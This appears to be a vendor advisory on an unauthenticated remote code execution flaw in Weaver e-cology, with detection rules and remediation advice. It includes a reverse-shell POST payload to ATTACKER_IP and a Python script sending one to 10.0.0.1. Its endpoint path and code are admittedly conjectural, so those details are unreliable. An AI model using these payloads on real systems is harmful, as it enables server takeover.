CVE-2023-51892

Executive Summary

CVE-2023-51892 is a critical remote code execution (RCE) vulnerability in Weaver e-cology v.10.0.2310.01, specifically within the FrameworkShellController component. An unauthenticated attacker can exploit this flaw by sending a crafted script to the vulnerable endpoint, leading to arbitrary code execution on the server. The vulnerability has a public proof-of-concept (PoC) but no official patch, making it a high-priority threat for organizations using this enterprise collaboration platform. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the lack of a patch and public PoC increases risk.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary Java-based enterprise application (Weaver e-cology). Organizations should verify their software supply chain for any dependencies on Weaver e-cology and ensure no unpatched instances are exposed.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD) – likely due to incomplete data. Based on the nature of the vulnerability (unauthenticated RCE), the estimated CVSS v3.1 vector is:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (Base Score: 9.8 – Critical)

• Attack Vector (AV): Network – exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): None – no user action required.
• Scope (S): Unchanged – vulnerable component only.
• Confidentiality (C): High – full system compromise.
• Integrity (I): High – arbitrary code execution.
• Availability (A): High – potential for denial of service.

Deep Dive & Mechanics

The vulnerability resides in the FrameworkShellController component of Weaver e-cology v.10.0.2310.01. This component is designed to execute shell commands or scripts for administrative tasks but lacks proper input validation and authentication checks. An attacker can send a crafted HTTP request to the vulnerable endpoint (e.g., /framework/shell or similar) with a malicious script payload. The server processes the input without sanitization, leading to arbitrary command execution.

Root Cause:

• Missing authentication on the FrameworkShellController endpoint.
• Lack of input validation or sanitization of user-supplied script content.
• The controller directly passes user input to a shell execution function (e.g., Runtime.exec() or similar).

Attack Flow:

1. Attacker identifies the vulnerable endpoint (e.g., via Shodan or manual discovery).
2. Sends a POST request with a crafted payload (e.g., a reverse shell command).
3. The server executes the payload, granting the attacker remote access.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is presumed to be in the FrameworkShellController class. A patched version would require:

• Authentication enforcement: Require valid session tokens or API keys.
• Input validation: Whitelist allowed commands or use parameterized execution.
• Least privilege: Run shell commands with minimal permissions.

Vulnerable Code (Conceptual):

// Vulnerable: No auth, no input validation
@RequestMapping(value = "/framework/shell", method = RequestMethod.POST)
public String executeShell(@RequestParam String script) {
    try {
        Process process = Runtime.getRuntime().exec(script);
        // ... read output
    } catch (Exception e) { ... }
    return "executed";
}

Patched Code (Conceptual):

// Patched: Authentication and input validation
@RequestMapping(value = "/framework/shell", method = RequestMethod.POST)
public String executeShell(@RequestParam String script, HttpSession session) {
    if (session.getAttribute("user") == null) {
        return "unauthorized";
    }
    if (!isAllowedCommand(script)) {
        return "invalid command";
    }
    try {
        Process process = Runtime.getRuntime().exec(script);
        // ... read output
    } catch (Exception e) { ... }
    return "executed";
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Weaver e-cology v.10.0.2310.01.
• Network access to the vulnerable endpoint.

Exploit Steps:

1. Identify the endpoint (e.g., http://target:8080/framework/shell).
2. Send a crafted POST request with a reverse shell payload.

Example Payload (Linux Reverse Shell):

POST /framework/shell HTTP/1.1
Host: target:8080
Content-Type: application/x-www-form-urlencoded

script=bash -c 'exec bash -i &>/dev/tcp/ATTACKER_IP/4444 <&1'

Metasploit Module (if available):
No public Metasploit module exists; manual exploitation is required.

Python Exploit Script:

import requests

target = "http://target:8080/framework/shell"
payload = "bash -c 'exec bash -i &>/dev/tcp/10.0.0.1/4444 <&1'"

response = requests.post(target, data={"script": payload})
print(response.text)

Blue Team (Detection & Defense)

Detection:

• Monitor for POST requests to /framework/shell or similar endpoints.
• Alert on unusual command execution patterns (e.g., base64-encoded commands, reverse shell strings).

Defense:

• Block external access to the vulnerable endpoint via WAF or firewall.
• Apply virtual patching if possible (e.g., block requests containing script= parameter).
• Restrict outbound traffic from the application server to prevent reverse shells.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /framework/shell or /framework/*shell*.
  • Outbound connections to unknown IPs on high ports (e.g., 4444, 1337).
  • Unusual command strings in HTTP body (e.g., bash -i, powershell -e).

• File IOCs:

  • Unexpected files in /tmp or web root (e.g., shell.jsp, cmd.jsp).
  • Modified system binaries or scripts.

• Process IOCs:

  • Spawned shell processes (e.g., bash, sh, cmd.exe) from the Java process.
  • Network connections initiated by the Java process to external IPs.

Detection Engineering

YARA Rule

rule CVE_2023_51892_Weaver_Shell {
    meta:
        description = "Detects exploitation attempts for CVE-2023-51892 in Weaver e-cology"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-51892"
    strings:
        $s1 = "/framework/shell" ascii wide nocase
        $s2 = "script=" ascii wide nocase
        $s3 = "bash" ascii wide nocase
        $s4 = "powershell" ascii wide nocase
        $s5 = "cmd.exe" ascii wide nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2023-51892 Weaver e-cology RCE Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests to the vulnerable FrameworkShellController endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/framework/shell'
    condition: selection
falsepositives:
    - Legitimate administrative use (if any)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-51892 Weaver e-cology RCE Attempt"; flow:to_server; content:"POST"; http_method; content:"/framework/shell"; http_uri; content:"script="; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: Disconnect Weaver e-cology servers from the internet if possible.
2. Apply virtual patching: Use WAF rules to block requests to /framework/shell or containing script= parameter.
3. Restrict network access: Limit inbound access to the application to trusted IPs only.

Long-term Fix:

• Since no official patch exists, consider migrating to a supported version or alternative solution.
• Implement custom authentication and input validation for the vulnerable endpoint.
• Monitor vendor channels for any future patches.

Compensating Controls:

• Enable detailed logging for all HTTP requests.
• Deploy endpoint detection and response (EDR) to detect anomalous process execution.
• Conduct regular vulnerability scans.

Valters IT